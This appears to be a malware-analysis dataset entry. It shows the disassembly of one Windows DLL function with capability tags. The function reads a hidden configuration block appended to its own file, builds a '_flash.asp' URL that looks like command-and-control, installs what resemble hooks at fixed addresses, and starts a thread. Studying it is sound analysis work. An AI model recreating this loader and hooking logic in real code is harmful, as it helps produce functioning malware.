Function at 0x100028a0
Capabilities:
Create thread
Read file on windows

Disassembly:
sub esp, 0x460
mov ecx, 0x100
xor eax, eax
push esi
push edi
lea edi, [esp + 0x68]
push 0x800
rep stosd dword es:[edi], eax
mov ecx, dword [0x10008328]
lea eax, [esp + 0x6c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x7c]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
cmp esi, 0xffffffff
je 0x100029b3
push ebx
call fcn.10002840
call fcn.10002840
call fcn.10002840
push 2
push 0
push 0xfffffeec
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
call fcn.10002840
lea eax, [esp + 0x68]
push 0
push eax
push 0x114
push 0x10006c50
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
call fcn.10002840
push 0x10006b38
push 0x10006c50
call fcn.10002770
add esp, 8
call fcn.10002840
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10006b92
push 0x10006d68
call ebx
call fcn.10002840
push str._flash.asp
push 0x10006d68
call dword [sym.imp.KERNEL32.dll_lstrcatA]
call fcn.10002840
push 0x100054b0
push 0x100070a8
call ebx
push 0x1000704c
push 0x100070a8
call fcn.100027b0
add esp, 8
call fcn.10002840
push esi
call edi
call fcn.10002840
pop ebx
mov ecx, dword [0x100054a8]
mov dx, word [0x100054ac]
mov al, byte [0x100054ae]
mov dword [esp + 0x10], ecx
mov cx, word [0x100054a4]
mov word [esp + 0x14], dx
mov edx, dword [0x10005498]
mov byte [esp + 0x16], al
mov eax, dword [0x100054a0]
mov word [esp + 0x54], cx
mov dword [esp + 0x28], edx
mov word [esp + 0x44], cx
mov dword [esp + 0x38], edx
mov edx, dword [0x10005494]
mov word [esp + 0x1c], cx
mov ecx, dword [0x10005490]
mov si, word [0x1000549c]
mov dword [esp + 0x50], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x18], eax
mov eax, dword [0x10005488]
mov dword [esp + 0x58], ecx
mov cx, word [0x1000548c]
mov dword [esp + 0x5c], edx
mov edx, dword [0x10005480]
mov dword [esp + 0x48], eax
mov ax, word [0x10005484]
mov word [esp + 0x4c], cx
mov cl, byte [0x10005486]
mov dword [esp + 8], edx
mov edx, dword [0x10005478]
mov word [esp + 0xc], ax
mov ax, word [0x1000547c]
mov byte [esp + 0xe], cl
mov ecx, dword [0x10005470]
mov dword [esp + 0x20], edx
mov dx, word [0x10005474]
mov dword [0x10007108], 0
mov word [esp + 0x2c], si
mov word [esp + 0x3c], si
mov word [esp + 0x24], ax
mov dword [esp + 0x30], ecx
mov word [esp + 0x34], dx
call fcn.10002840
push 0x10001b20
lea eax, [esp + 0x14]
push 6
push eax
push 0x597654
push 0
call fcn.10001330
push 0x10001c60
lea ecx, [esp + 0x68]
push 5
push ecx
push 0x57f92e
push 1
call fcn.10001330
push 0x10001dd0
lea edx, [esp + 0x54]
push 5
push edx
push 0x57e4f6
push 2
call fcn.10001330
push 0x10001cc0
lea eax, [esp + 0x80]
push 5
push eax
push 0x57f966
push 3
call fcn.10001330
add esp, 0x50
lea ecx, [esp + 0x38]
push 0x10001e00
push 5
push ecx
push 0x57e511
push 4
call fcn.10001330
push 0x10001d20
lea edx, [esp + 0x30]
push 5
push edx
push 0x57f99e
push 5
call fcn.10001330
push 0x10001e30
lea eax, [esp + 0x84]
push 7
push eax
push 0x57e52c
push 6
call fcn.10001330
push 0x10001f80
lea ecx, [esp + 0x88]
push 5
push ecx
push 0x7002f0
push 7
call fcn.10001330
add esp, 0x50
lea edx, [esp + 8]
push 0x100021c0
push 6
push edx
push 0x44f45e
push 8
call fcn.10001330
push 0x10001f00
lea eax, [esp + 0x38]
push 5
push eax
push 0x594c8a
push 9
call fcn.10001330
push 0x100020b0
lea ecx, [esp + 0x5c]
push 5
push ecx
push 0x4de1e2
push 0xa
call fcn.10001330
add esp, 0x3c
lea edx, [esp + 0x60]
push edx
push 0
push 0
push 0x100013f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call edi
pop edi
pop esi
add esp, 0x460
ret